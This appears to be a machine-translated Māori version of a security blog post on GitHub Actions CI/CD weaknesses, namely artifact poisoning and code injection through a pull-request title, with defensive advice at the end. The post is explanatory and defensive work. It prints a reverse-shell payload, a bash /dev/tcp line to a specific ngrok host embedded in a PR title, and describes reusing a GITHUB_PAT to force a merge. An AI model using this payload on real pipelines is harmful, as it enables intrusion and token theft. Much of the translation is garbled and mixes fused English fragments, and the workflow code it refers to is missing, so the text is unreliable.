I ngā pou o mua (tirohia Paitini Ā-kore Pipeline Te Whakatinanatanga I-PPE a I paitinihia Pipeline Ngā taputapu tiaki tinana mō te whakamate , i mahi mātou i te nuinga o te wā ki te PPE (Poisoned Pipeline (Whakatinanatanga): i kite tātou me pēhea tana mahi, ōna pānga, ētahi whakamahinga kino me ētahi huarahi hei tiaki i a ia.
Ka ruku hohonu tēnei pou ki ētahi atu CI/CD pipeline ngā ngoikoretanga pērā i te Artifact Poisoning me te Code Werohanga.
Hei whakatutuki i tēnei, ka ahu mai i te PPE, nō reira me whakarāpopoto poto tātou i ngā mea i kitea e tātou mō te PPE.
Ngā mahi o mua mō ngā PPE
Hei whakarāpopototanga, i tīmata mātou me tētahi GitHub taketake pipeline hei hanga me te whakamātautau i te waehere i tukuna mā te pull request. Haunga tēnā, ka tautuhia ētahi arowhai, ki te tutuki, ka hanumi te waehere ki roto i te peka matua. I tapaina tēnei e mātou ko Horopaki #1.
I roto i tā mātou pou o mua, i whakamāramahia e mātou me pēhea te whakamahi i tēnei kaupapa taketake pipeline ko ngoikore ki te D-PPE me te I-PPE.
I taea e mātou te whakatikahia te D-PPE by te whakarerekē i te takahanga whakaoho i tono_tōia Tuhinga o mua ūnga_tono_tōia, hanga i te pipeline haumaru ki te D-PPEHei whakamaumahara, pipelineKa whakahaerehia te turanga e te s i runga i te takahanga pull_request_target pipeline waehere, ehara i te pipeline waehere kei roto i te pull request.
I tapaina e mātou tēnei ko Horopaki #2.
Nā te mea i puta mai tēnei whakarerekētanga, i whakaaturia e mātou I te wā e rua, he ngoikore tonu te horopaki ki te I-PPE.
Hei whakatika, i whakatau mātou ki te wehewehe i te pipeline kia rua:
- Te 1 pipeline (Hanga CI) ka tirohia te waehere PR (hei hanga), hangaia te hanganga, ā, ka whakaputa i tētahi taonga tuku iho.
- Ko te 2 pipeline (Whakamātautau CI) ka tirohia te waehere turanga (kia kore ai e whakarerekētia te tuhinga anga) me te whakahaere i ngā tuhinga taketake ki te taonga tuku iho.
- Hei tukutahi i te Test CI pipeline hei whakahaere i MURI i te Build CI pipeline, ka whakamahia e mātou te rere_mahi keu
I tapaina e mātou tēnei ko Horopaki #3.
Me whakaora te waehere o ngā mea e rua pipelinee ai ki ēnei whakarerekētanga…
1st pipeline (Hanga CI):
2nd pipeline (Whakamātautau CI):
Te Paitini Taonga
E ai ki runga ake nei CI/CD pipelines:
- pipeline Hanga CI is haumaru ki nga mea e rua D-PPE (no te mea ūnga_tono_tōia) me te I-PPE (nā te mea kāore e whakahaerehia ana te tuhinga anga).
- pipeline Whakamātautau CI he hoki haumaru ki nga mea e rua D-PPE (no te mea rere_mahi) me te I-PPE (nā te mea ka tirohia te waehere turanga hei tiki i te tuhinga anga taketake)
Kia ruku hohonu tātou ki tēnei "otinga".
Pipeline Whakamātautau CI ka tikiake i te taonga hei kōnae zip.
Kia wetewetehia, ka whakahaerehia te tuhinga anga "haumaru". He aha ahau i kī ai ko te tuhinga anga "haumaru"? Nā te mea i tētahi taahiraa o mua, ko te pipeline ka tirohia te waehere "turanga", kia whakanohoia ai te tuhinga taketake ki te kōpaki mokowāmahi. Nō reira, ina pipeline ka whakahaere i te hōtuhi anga ka whakahaerehia mā te whakamahi i te pūnaha rua kua tikiakehia i mua.
Kātahi, he aha te raruraru me tēnei huarahi? Ka puta te raruraru ina "waihanga" tētahi kaiwhakamahi i tētahi mea hou pipeline.
Mena ka whakatuwherahia e te kaiwhakamahi he PR kei roto he mea hou pipeline, ka whakahaerehia e GitHub tēnā pipeline (i runga i ētahi āhuatanga, e ai ki tā tātou i kite ai i te wāhanga o mua pou).
I runga i tēnei, ā, mehemea ka hangaia e te kaiwhakamahi he mea hou pipeline he rite te ingoa ki te Build CI? Āe, he mea whakamiharo, engari Mā GitHub koe e āhei ki te waihanga i ngā mea e rua pipelinehe rite tonu te ingoa!!
Kia maumahara ka whakahaerehia te Test CI i muri i te Build CI…
He mea whakamiharo, nā te mea e rua ngā mea inaianei pipelinehe rite te ingoa, te pipeline Ka whakahaerehia te whakamātautau CI e rua ngā wākotahi i muri i te taketake pipeline me ētahi atu i muri i te "hou" pipeline.
Me pēhea e taea ai e te kaipahua te whakamahi i tēnei?
- Tuatahi, ka taea e te kaiwhakamahi kino te whakarerekē i te tuhinga anga hei tuku i te mea ngaro ki te tūmau e whakahaerehia ana e te kaipahua.
- Tuarua, ko te mea hou pipeline kei roto he rārangi hei tārua i te tuhinga anga kua whakarerekētia ki roto i te taonga tuku iho → te paitini i te artifatika!!!
Ina whakatuwherahia e te kaiwhakamahi he PR me ēnei huringa, ko te "mea hou" pipeline ka whakahaeretia (te tukuake i tētahi taonga paitini) ā, ko te Deploy CI pipeline ka whakatinanahia i muri i tēnā, ka hua ake ka tuhiruatia e te tuhinga anga "kua whakarerekētia" te tuhinga anga "taketake" kei roto i te pipeline mokowāmahi.
Koia tenei e kiia nei e matou Te Paitini Taonga, arā, te te kaha ki te whakarerekē (hack) i te pipeline arorau mā te whakarerekētanga o tētahi pipeline mahi toi.
Kotahi te mea ka taea whakatikatika he tino māmā noa iho: Mā te wetewete noa i te taonga ki tētahi kōpaki iti o te wāhi mahi ka kore e tuhirua te tuhinga anga "turanga".
Werohanga Waehere
Haunga te paihana o ngā taonga tuku iho, ka kitea e koe tētahi atu ngoikoretanga i roto i te waehere i runga ake nei?
Haere tāua!!
Ka rite ki tāu e kite nei i roto i te waehere, pipeline Ka hangaia e te Build CI te rua, ka tukuatuhia te rua hei pipeline taonga tuku iho, ā, ka tukuatuhia e ia ētahi atu raraunga: te Taitara PR me te ID PR.
He aha ai? Nā te mea hei whakakotahi i te PR, e kitea ana i raro nei, ko te Test CI pipeline me whakamahi te PR id hei karanga i te GitHub REST API e hanumi ana i te PR.
Me pēhea te mahi a te Whakamātautau CI pipeline te tiki i taua ID PR? Te tiritiri i ngā mōhiohio i roto i ngā kōnae tuhinga (he wāhanga o te pipeline (taonga) he huarahi noa ki te tohatoha mōhiohio i waenga i pipelines. Ā, koinā tonu te tikanga o ēnei pipelinekei te mahi rātou.
Ko te tikanga, ko te PR Id anake e hiahiatia ana hei whakakotahi i te PR, engari ko te pipeline I whakatau te kaiwhakahaere kia whakaurua hoki te taitara PR ki te Build CI, kia taea ai te Test CI pipeline ka tāia he karere mōhiohio kei roto ko te PR ID me te Taitara.
Ko te Taitara PR he raraunga tonu nō te kaiwhakamahi, nō reira, me whakaaro tonu he kore pono.. No reira te pipeline me whakahaere pērā, me te mahi i ngā mahi tiaki.
I roto i te waehere i runga ake nei, ka kite tātou i te karere motuhake e whakaata ana i te Taitara PR. He whakahau "echo" noa iho tēnei i roto i te linux.
Mā te whakaurunga aho, mēnā he "taitara rūpahu" te taitara, ka hangaia e Github he tuhinga kei roto
Engari, me pēhea mēnā ko te taitara PR he mea pēnei:
Taitara kino” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Ka pēnei te tuhinga:
Ko te hua o tēnei ko te whakatuwheratanga o tētahi anga whakamuri ki te tūmau e whakahaerehia ana e te kaipahua.
Tērā pea ka whakamahia taua anga whakamuri hei uru atu ki te pipeline ngā mea ngaro (kia maumahara kei te rere te Test CI i te aratau mana nā te mea kei te whakaohohia e te workflow_run kia whai urunga atu ai ki ngā mea ngaro).
Engari, he aha atu anō ka taea te mahi mā roto i taua anga whakamuri?
Tirohia te waehere Whakamātautau CI:
E kitea ana i roto i te Whakamātautau CI pipeline, kei te whakamahi te whakahau curl merge i a GITHUB_PAT (kua tautuhia hei pipeline env var), nō reira kei roto i te kaiwhakahaere te GITHUB_PAT hei taurangi taiao. Hei tāpiri, ka hangaia hoki he env var e pānui ana i te PR ID.
Nō reira, me tārua noa e te kaipahua te whakahau curl ka whakapiri ki roto i te anga whakamuri, ka whakakotahi tika i te PR ki roto i te peka kua tiakina.
Hei tiaki i ēnei mea katoa:
- Ki karo te whakaurunga aho me ngā raraunga kāore i te pono (he ngoikore ki werohanga waehere) na te tautuhi pipeline ngā rerekētanga taiao hei utu mō te whakamahi tika i roto i ngā whakahau echo
Engari mō te whakamahi:
Whakamahia tēnei:
- Ahakoa te whakamahi i te werohanga waehere, kāore te whakahau curl merge i angitu mēnā i tika tāu mahi i tiakina tō pull requests mā te arotake, te whakaae rānei i raro i te ture.
whakatau
He uaua ki te tiaki i tētahi āhua CI/CD pipelinewhirihoranga s me te tiki pipelinekāore he ngoikoretanga.
Ehara tenei i te mea penei CI/CD he ngoikore hoki ngā pūnaha (pērā i a GitHub i tēnei wā). CI/CD Mā ngā pūnaha e whakarato te huarahi hei tiaki i ngā ngoikoretanga … engari ko te kawenga a te kaiwhakahaere te whakatinana i aua parenga.
Engari ... Kāore e taea te whakaoti i tētahi ngoikoretanga ki te kore koe e mōhio ki tōna āhua!!!
Ko te tikanga, ka taea e te kaiwhakahaere devop tino pūkenga te pupuri i ēnei tūmomo riri katoa i roto i te hinengaro, ā, ka tiakina tika te CI/CD pipelineengari, ahakoa rā, he tino whai hua te whakamahi i tētahi hua hei kimi i ēnei momo ngoikoretanga katoa. Ā, ko te tikanga, hei whakahaere aunoa i tēnei tukanga pupuri ngoikoretanga (hei tauira, te whakahaere i te matawai hei wāhanga o CI/CD pipelines).
Tērā pea ka kiia tēnei huarahi ko "Kaha Haumaru”:
- Waihanga hou pipeline (Kūaha Haumarutanga) hei tirotiro mō CI/CD pipelinengā ngoikoretanga me te hanga i tētahi atu CI pipelineme whakahaere anake ina oti pai te Keti Haumarutanga pipeline.
- Te Kūaha Haumarutanga pipelineka tirohia e s CI/CD pipelinengā ngoikoretanga me,
- Ki te kitea ngā ngoikoretanga, ka rahua, ā, nō reira, ka raru pea tetahi atu pipelinekāore e whakatinanatia a s.
- Ki te kore e kitea he hapa, ka pipeline ka angitu, ā, ko te atu pipelineka whakahaerehia a s pērā i te tikanga.
